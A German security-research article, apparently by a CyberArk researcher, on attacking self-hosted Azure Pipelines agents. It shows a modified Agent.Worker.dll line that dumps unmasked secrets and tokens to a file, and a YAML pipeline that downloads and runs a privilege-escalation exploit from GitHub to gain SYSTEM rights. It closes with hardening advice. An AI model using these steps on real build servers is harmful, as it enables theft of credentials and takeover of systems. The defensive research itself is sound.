Azure DevOps erleichtert Software-Entwicklern die Arbeit, unter anderem mit den Azure Pipelines, die komplexe CI-/CD-Workflows orchestrieren. Doch wie sicher sind die Pipelines: Ist es möglich, sie zu manipulieren, um sensible Informationen auszulesen oder erweiterte Rechte zu erhalten?
Continuous Integration/Continuous Delivery: Mit Azure Pipelines lassen sich komplexe, cloudbasierte CI-/CD-Workflows orchestrieren.
CI-/CD-Praktiken sind inzwischen Standard in der Software-Entwicklung und helfen, Code schnell und effizient in den Produktiveinsatz zu bringen. Mit den Azure Pipelines, die Bestandteil der Azure DevOps Services und des Azure DevOps Server sind, stellt Microsoft ein praktisches Tool für die Orchestrierung aller damit verbundenen Abläufe bereit. Die Pipelines enthalten alle notwendigen Schritte von der Code-Analyse und Unit-Tests über den Build-Prozess bis hin zur Veröffentlichung des fertigen Codes. Ausgelöst werden sie durch einen Trigger: den Upload von Code in das Azure DevOps Repository.
Eine Pipeline besteht aus mehreren Stages, die wiederum mehrere Jobs enthalten können. Zu jedem Job gehört ein Agent, der verschiedene Schritte ausführt – die kleinsten Bausteine innerhalb einer Pipeline. Die einzelnen Schritte sind Skripte und Aufgaben, die sich im YAML-Pipeline-Editor von Azure DevOps erstellen und bearbeiten lassen. Die Agents werden entweder selbst auf einem lokalen Server gehostet oder laufen von Microsoft verwaltet in virtuellen Maschinen bei Microsoft. Sie führen die Jobs direkt auf dem Host aus oder in einem Container.
Ein Blick auf die laufenden Services
Eine Analyse des Azure DevOps Server mit Process Hacker liefert eine Übersicht über die laufenden Services. Zu diesen zählt mit vstsagent.win-4nn1ihj8clg.Default.myagent1 ein Service, bei dem Host-Name, Pool-Name und Agent-Name direkt in der Bezeichnung stecken: vstsagent.<hostname>.<pool_name>.<agent_name>
Jeder Agent hat offenbar einen eigenen Service. Zudem gibt es einen Child-Prozess Agent.Listener, der auf neue Pipeline-Jobs wartet und verschiedene Prozesse anstößt, wenn er einen neuen Job erhält. Damit passiert, wenn eine Pipeline getriggert wird, auf einem Windows-Server folgendes:
1. Der fortwährend beim Azure DevOps Server nach neuen Jobs fragende Service Agent.Listener erfährt, dass es einen neuen Job gibt.
2. Agent.Listener erhält den im YAML Pipeline Editor angelegten Job als verschlüsseltes JSON und startet den Service Agent.Worker.
3. Agent.Listener schickt das JSON an Agent.Worker.
4. Agent.Worker startet ein Shell-Skript basierend auf dem JSON, und die Shell führt es aus.
Auf diese Weise könnte ein weiteres PowerShell-Skript cmdline.ps1 ausgeführt werden. Unter Linux sieht der Ablauf nur wenig anders aus: Agent.Worker ruft dort nodejs auf, um das Skript cmdline.js zu starten.
Der Aufbau der Azure Pipelines.
(Bild: Microsoft)
Maskierte Informationen aufdecken
Jeder Agent nutzt ein Log-Verzeichnis unter C:\<agent_name>\_diag, in dem die Logs von Agent.Listener und Agent.Worker abgelegt werden. Darin sind einige sensible Daten mit Asterisks maskiert, darunter auch ein system.accessToken, das etwa für die Autorisierung von API-Requests und den Abruf von Informationen aus Repositories gebraucht wird.
Sensible Informationen sind im Logfile der Agents maskiert.
(Bild: CyberArk)
Um herauszubekommen, ob es möglich ist, an die verschlüsselten Daten zu gelangen, muss der Entschlüsselungsprozess analysiert werden. Ein Debugging von Agent.Listener mit dnSpy zeigt, dass der Service Informationen über einen Agent-Pool erhält. Er sendet ein GET-Request und bekommt eine Antwort in einer TaskAgentMessage mit folgenden Parametern: verschlüsselter Nachrichtentext, Initialization Vector (IV), Message-ID, Message-Typ. Anschließend leitet der Agent das TaskAgentMessage-Objekt an eine DecryptMessage genannte Funktion weiter, die in mehreren Schritten die benötigten Schlüssel abruft und Message, Session-Key und Message-IV entschlüsselt.
Mit diesen Informationen ist es möglich, einen eigenen Decrypter zu bauen – was Pulse Security mit deeecryptor bereits getan hat. Allerdings müssen für die Nutzung neben der verschlüsselten Nachricht auch Session Key und IV bekannt sein, doch es gibt auch einen anderen Weg.
Hijacking des Agent.Worker-Services
Der Entschlüsselungsprozess findet in Agent.Listener statt, der das entschlüsselte JSON an Agent.Worker weiterleitet, der wiederum sensible Daten vor dem Eintrag ins Log maskiert. Mit einer selbst erstellten Agent.Worker.dll, in der die ZeileInitializeSecretMasker auskommentiert wird, lässt sich das Maskieren der Daten verhindern. Ein Angreifer, der Kontrolle über einen Agent hat, könnte andere Agents auf der gleichen Maschine durch eine derart manipulierte Agent.Worker.dll „vergiften“ und dafür sorgen, dass die Daten im Klartext ins Log geschrieben werden. Alles, was er tun muss, ist:
1. die Agent-Version, die auf dem Server läuft, in den Eigenschaften des Agent-Files herausfinden.
2. den Quellcode dieser Version von der Release-Seite herunterladen
3. den Code anpassen. Die jobMessage in der Funktion RunAsync ist bereits entschlüsselt, sodass nur eine Zeile ergänzt werden muss, um alle Daten in eine Datei zu schreiben:
var jobMessage = JsonUtility.FromString(channelMessage.Body); ArgUtil.NotNull(jobMessage, nameof(jobMessage)); HostContext.WritePerfCounter($"WorkerJobMessageReceived_{jobMessage.RequestId.ToString()}"); Trace.Info("Deactivating vso commands in job message variables."); jobMessage = WorkerUtilities.DeactivateVsoCommandsFromJobMessageVariables(jobMessage); // Our code: File.WriteAllText(@"decrypted.txt", StringUtil.ConvertToJson(jobMessage));
Manipulation geglückt: Alle Werte stehen im Klartext in der Datei.
5. die Pipeline durch den Upload von Code ins Repository triggern – dann schreibt der Agent alle Informationen ohne Maskierung in die Datei.
Eine Frage der Berechtigungen
Die selbst gehosteten Agents werden manuell konfiguriert, üblicherweise als Service über eine Powershell mit erhöhten Rechten. Bis vor kurzem schlug Microsoft vor, dafür Service-Accounts wie Network Service oder Local Service zu nutzen, die über beschränkte Rechte verfügen und deren Passwörter nicht auslaufen, sodass der Verwaltungsaufwand geringer ist.
Wird der selbst erstellte Agent über den Account NT Authority/Network Service ausgeführt, zeigt eine Überprüfung mit Tools wie Procmon und Process Hacker oder durch den Aufruf von whoami über die Pipeline: Agent.Worker.exe hat keine hohen Berechtigungen wie „SeDebugPrivilege“ oder zum Schreiben in geschützte Verzeichnisse wie C:\Windows.
Stand: 08.12.2025
Es ist für uns eine Selbstverständlichkeit, dass wir verantwortungsvoll mit Ihren personenbezogenen Daten umgehen. Sofern wir personenbezogene Daten von Ihnen erheben, verarbeiten wir diese unter Beachtung der geltenden Datenschutzvorschriften. Detaillierte Informationen finden Sie in unserer Datenschutzerklärung.
Einwilligung in die Verwendung von Daten zu Werbezwecken
Ich bin damit einverstanden, dass die Vogel IT-Medien GmbH, Max-Josef-Metzger-Straße 21, 86157 Augsburg, einschließlich aller mit ihr im Sinne der §§ 15 ff. AktG verbundenen Unternehmen (im weiteren: Vogel Communications Group) meine E-Mail-Adresse für die Zusendung von Newslettern und Werbung nutzt. Auflistungen der jeweils zugehörigen Unternehmen können hier abgerufen werden.
Der Newsletterinhalt erstreckt sich dabei auf Produkte und Dienstleistungen aller zuvor genannten Unternehmen, darunter beispielsweise Fachzeitschriften und Fachbücher, Veranstaltungen und Messen sowie veranstaltungsbezogene Produkte und Dienstleistungen, Print- und Digital-Mediaangebote und Services wie weitere (redaktionelle) Newsletter, Gewinnspiele, Lead-Kampagnen, Marktforschung im Online- und Offline-Bereich, fachspezifische Webportale und E-Learning-Angebote. Wenn auch meine persönliche Telefonnummer erhoben wurde, darf diese für die Unterbreitung von Angeboten der vorgenannten Produkte und Dienstleistungen der vorgenannten Unternehmen und Marktforschung genutzt werden.
Meine Einwilligung umfasst zudem die Verarbeitung meiner E-Mail-Adresse und Telefonnummer für den Datenabgleich zu Marketingzwecken mit ausgewählten Werbepartnern wie z.B. LinkedIN, Google und Meta. Hierfür darf die Vogel Communications Group die genannten Daten gehasht an Werbepartner übermitteln, die diese Daten dann nutzen, um feststellen zu können, ob ich ebenfalls Mitglied auf den besagten Werbepartnerportalen bin. Die Vogel Communications Group nutzt diese Funktion zu Zwecken des Retargeting (Upselling, Crossselling und Kundenbindung), der Generierung von sog. Lookalike Audiences zur Neukundengewinnung und als Ausschlussgrundlage für laufende Werbekampagnen. Weitere Informationen kann ich dem Abschnitt „Datenabgleich zu Marketingzwecken“ in der Datenschutzerklärung entnehmen.
Falls ich im Internet auf Portalen der Vogel Communications Group einschließlich deren mit ihr im Sinne der §§ 15 ff. AktG verbundenen Unternehmen geschützte Inhalte abrufe, muss ich mich mit weiteren Daten für den Zugang zu diesen Inhalten registrieren. Im Gegenzug für diesen gebührenlosen Zugang zu redaktionellen Inhalten dürfen meine Daten im Sinne dieser Einwilligung für die hier genannten Zwecke verwendet werden. Dies gilt nicht für den Datenabgleich zu Marketingzwecken.
Recht auf Widerruf
Mir ist bewusst, dass ich diese Einwilligung jederzeit für die Zukunft widerrufen kann. Durch meinen Widerruf wird die Rechtmäßigkeit der aufgrund meiner Einwilligung bis zum Widerruf erfolgten Verarbeitung nicht berührt. Um meinen Widerruf zu erklären, kann ich als eine Möglichkeit das unter https://contact.vogel.de abrufbare Kontaktformular nutzen. Sofern ich einzelne von mir abonnierte Newsletter nicht mehr erhalten möchte, kann ich darüber hinaus auch den am Ende eines Newsletters eingebundenen Abmeldelink anklicken. Weitere Informationen zu meinem Widerrufsrecht und dessen Ausübung sowie zu den Folgen meines Widerrufs finde ich in der Datenschutzerklärung.
Recht erfolgreich ausgeweitet: Der Taschenrechner läuft mit System-Privilegien.
(Bild: CyberArk)
Zwar ist der Account Network Services nicht Teil der Administratoren-Gruppe, aber er kann sich System-Rechte erschleichen – einen entsprechenden PoC hat der User decoder-it veröffentlicht und beschrieben. Damit könnte ein Angreifer eine YAML-Pipeline erstellen und ihre Berechtigungen ausweiten. Das folgende Skript würde den Agent dazu bewegen, den Taschenrechner mit System-Privilegien zu starten:
trigger: - main pool: name: default steps: - script: echo Hello, world! displayName: 'Run a one-line script' - script: | echo Add other tasks to build, test, and deploy your project. powershell Invoke-WebRequest -Uri https://github.com/decoder-it/NetworkServiceExploit/releases/download/20200504/NetworkServiceExploit.exe -OutFile exploit.exe exploit.exe -i -c "C:\Windows\system32\cmd.exe /c calc" displayName: 'Run a multi-line script'
Das heißt: Hat ein Angreifer Zugriff auf den Pipeline-Code, kann er seine Berechtigungen auf System ausweiten und hat im Prinzip volle Kontrolle über den Server. Das ist insbesondere dann kritisch, wenn dort andere sensible Services laufen.
Bei von Microsoft gehosteten Agents ist das anders. Diese haben defaultmäßig hohe Berechtigungen wie SeDebugPrivilege, laufen allerdings in einer VM bei Microsoft, die nach jeder Pipeline-Ausführung bereinigt wird. Dadurch ist dieser Ansatz deutlich sicherer.
Best Practices
Es gibt verschiedene Möglichkeiten, Server und Agents zu schützen:
Das Nutzen der von Microsoft gehosteten Agents: Jedes Mal, wenn eine Pipeline einen Job ausführt, wird eine neue VM angelegt. Ein kompromittierter Agent hat keine Auswirkungen auf andere Agents, da diese nicht in derselben VM laufen. Und auch das Host-System ist sicher, da für jede Ausführung eines Jobs eine neue VM gestartet wird.
Das Ausführen selbst gehosteter Agents einem Container: Im YAML lässt sich die Pipeline so konfigurieren, dass der Agent in einem isolierten Container läuft. Wird der Agent kompromittiert, hat das keine Auswirkungen auf andere Agents oder den Host. Dafür muss der Host allerdings Container unterstützen.
Das Ausstatten der selbst gehosteten Agents mit geringen Berechtigungen: Der Agent Pool Service läuft per Default mit den Berechtigungen von NT AUTHORITY\Network Service, die sich auf System-Berechtigungen ausweiten lassen. Der Agent kann jedoch mit der Option – windowsLogonAccount <account> und der Auswahl eines Nicht-Admin-Kontos mit geringeren Berechtigungen ausgestattet werden.
Mit diesen Best Practices ist es möglich zu verhindern, dass Angreifer die Job-Messages entschlüsseln und sensible Daten abgreifen oder die Berechtigungen eines Agents ausweiten, um das System zu übernehmen.
*Der Autor Eviatar Gerzi ist Senior Cyber Researcher in den CyberArk Labs.